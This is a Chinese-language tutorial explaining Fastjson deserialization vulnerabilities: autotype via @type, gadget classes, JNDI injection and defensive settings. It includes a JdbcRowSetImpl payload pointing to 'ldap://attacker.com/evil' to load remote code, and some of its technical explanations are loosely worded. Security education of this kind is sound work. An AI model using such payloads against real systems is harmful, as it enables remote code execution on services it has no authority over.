【渗透测试】Fastjson 反序列化漏洞原理（一）

一、Fastjson 是什么

Fastjson 是阿里巴巴旗下的一个开源 JSON 解析库，使用 Java 语言编写。它可以将 Java 对象序列化为 JSON 字符串，也可以将 JSON 字符串反序列化为 Java 对象。

String text = JSON.toJSONString(obj); // 序列化
VO vo = JSON.parseObject("{...}", VO.class); // 反序列化

• 序列化：对象 --> JSON
• 反序列化：JSON --> 对象

二、Fastjson 工作原理

Fastjson 的核心功能是将 JSON 字符串转换为 Java 对象（反序列化）或将 Java 对象转换为 JSON 字符串（序列化）。在反序列化过程中，Fastjson 会根据 JSON 字符串中的类名动态加载对应的类，并通过反射机制调用类的构造函数或 setter 方法来实例化对象。

代码举例：

String json = "{\"@type\":\"com.example.MyClass\",\"property\":\"value\"}";
Object obj = JSON.parseObject(json);

在这个例子中，Fastjson 会根据 @type 指定的类名（com.example.MyClass）动态加载该类并创建实例。

三、反序列化漏洞原理

1. 反序列化漏洞的定义

反序列化漏洞是指攻击者通过构造恶意的 JSON 数据，使得反序列化过程执行了未经授权的代码。这通常发生在应用程序接受外部输入并将其反序列化为对象时，如果输入的数据格式不符合预期，或者应用程序没有适当地验证和过滤输入，攻击者可以注入恶意代码并执行。

2. Fastjson 的反序列化机制

Fastjson 使用自定义的反序列化器来将 JSON 字符串转换为 Java 对象。例如，如果一个 JSON 字符串包含一个类型字段，Fastjson 会尝试使用该类型信息来创建对应的 Java 对象：

{
  "type": "java.lang.Class",
  "val": "com.sun.rowset.JdbcRowSetImpl"
}

在上述例子中，如果 type 字段指向一个恶意的类（如 java.lang.Class），Fastjson 可能会尝试使用这个类信息来实例化对象。

3. 漏洞成因关注以下几点

(1) 动态类型解析

Fastjson 允许通过 @type 指定任意类名，这使得攻击者可以指定恶意类（如包含恶意代码的类）进行反序列化。

通常攻击者自启一个 RMI 服务，配合反序列化漏洞加载恶意对象从而实现代码执行。

(2) 自动调用方法

在反序列化过程中，Fastjson 会通过反射机制自动调用目标类的构造函数、setter 方法或其他方法。如果这些方法中存在可以被利用的逻辑（如执行命令、文件操作等），就可能引发安全问题。

(3) 信任用户输入

Fastjson 默认信任用户输入的 JSON 数据，未对类名、属性值等进行严格的校验和限制。这种信任模型使得攻击者能够通过构造恶意 JSON 数据来触发漏洞。

4. 漏洞利用过程

(1) 寻找可利用的类（也称为 “Gadget”）

这类类通常满足以下条件：

• 类中有可以被反射调用的方法。【反射调用：用于调用攻击者代码】
• 方法中包含危险操作，如执行系统命令、读写文件等。

常见的 Gadget 包括：

• JDK 自带的类（如 javax.management.BadAttributeValueExpException、java.lang.ProcessBuilder 等）
• 第三方库中的类（如 Apache Commons Collections 中的某些类）

(2) 构造恶意 JSON 数据

攻击者根据目标应用的环境和可用的 Gadget 构造恶意 JSON 数据。例如：

{
  "@type": "java.lang.Class",
  "val": "com.sun.rowset.JdbcRowSetImpl"
}

这个 JSON 数据可能会导致 Fastjson 加载 JdbcRowSetImpl 类，并触发其中的 JNDI 注入漏洞。

(3) 触发漏洞

当目标应用调用 JSON.parseObject() 或类似方法解析恶意 JSON 数据时，Fastjson 会按照 JSON 数据中的指令动态加载类并调用相关方法，从而执行攻击者预设的恶意代码。

5. 典型案例

(1) JNDI 注入漏洞

在某些版本的 Fastjson 中，攻击者可以通过指定 @type 为 com.sun.rowset.JdbcRowSetImpl 并结合 JNDI 注入技术，实现远程代码执行。例如：

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/evil", // 攻击者自启的远程 LDAP 服务
  "autoCommit": true
}

在这种情况下，Fastjson 会尝试从攻击者控制的 LDAP 服务器加载恶意代码并执行。

(2) 模板引擎注入

如果目标应用使用了模板引擎（如 FreeMarker 或 Velocity），攻击者可以通过 Fastjson 反序列化漏洞注入恶意模板代码，从而实现任意代码执行。

四、防御措施

为了防止 Fastjson 反序列化漏洞，可以采取以下措施：

• (1) 升级到最新版本
  Fastjson 官方团队会定期修复已知漏洞，因此建议始终使用最新版本的 Fastjson。

• (2) 禁用自动类型解析
  通过配置 ParserConfig.getGlobalInstance().setSafeMode(true) 或在反序列化时显式指定允许的类列表【白名单】，可以避免攻击者利用 @type 动态加载恶意类。

• (3) 严格校验输入
  对所有用户输入的 JSON 数据进行严格校验，避免直接将其传递给 JSON.parseObject() 方法。

• (4) 使用白名单机制
  在反序列化时，仅允许加载特定的类，以减少潜在的安全风险。

• (5) 替换为其他 JSON 库
  如果可能，可以考虑使用其他更安全的 JSON 库（如 Jackson 或 Gson），并在必要时禁用 Fastjson。